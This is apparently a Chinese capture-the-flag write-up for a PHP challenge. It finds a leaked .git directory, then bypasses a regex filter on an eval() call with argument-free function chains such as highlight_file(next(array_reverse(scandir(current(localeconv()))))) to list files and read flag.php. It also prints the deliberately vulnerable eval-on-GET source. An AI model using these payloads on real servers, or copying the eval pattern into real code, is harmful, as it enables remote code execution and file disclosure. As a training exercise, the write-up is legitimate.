信息收集

知识讲解

涉及函数

PHP的正则表达式

无参rce

用到的函数

思路分析

方法一

方法二


信息收集

拿到这道题,抓包看了看,啥也没有,用dirsearch爆破目录发现.git目录,猜测存在.git源码泄露,用githack探测发现有index.php这个文件,原来是./git源码泄露

githack探测后拿到index.php

源码如下

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

这段代码的核心就是只允许函数而不允许函数中的参数,就是说传进去的值是一个字符串接一个(),那么这个字符串就会被替换为空,如果替换后只剩下;,那么这段代码就会被eval执行。而且因为这个正则表达式是递归调用的,所以说像a(b(c()));第一次匹配后就还剩

a(b());,第二次匹配后就还剩a();,第三次匹配后就还剩;了,所以说这一串a(b(c())),就会被eval执行,但相反,像a(b('111'));这种存在参数的就不行,因为无论正则匹配多少次它的参数总是存在的。那假如遇到这种情况,我们就只能使用没有参数的php函数

这里如果觉得比较抽象我们可以本地搭建个匹配进行验证分析,如下

<?php
$a = 'b(a_());';
if (';' === preg_replace('/[a-z,_]+\((?R)?\)/',NULL,$a))
    echo 'ok';
highlight_file(__FILE__);
?>

当a_存在参数时echo不执行,另外由于没有匹配数字,出现数字也会不执行,如'b(a1_());'

发现一个flag.php

目录取反

?exp=print_r(array_reverse(scandir(current(localeconv()))));


指向下一个元素

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

读取文件

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

点赞(4) 打赏

评论列表 共有 0 条评论

暂无评论

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部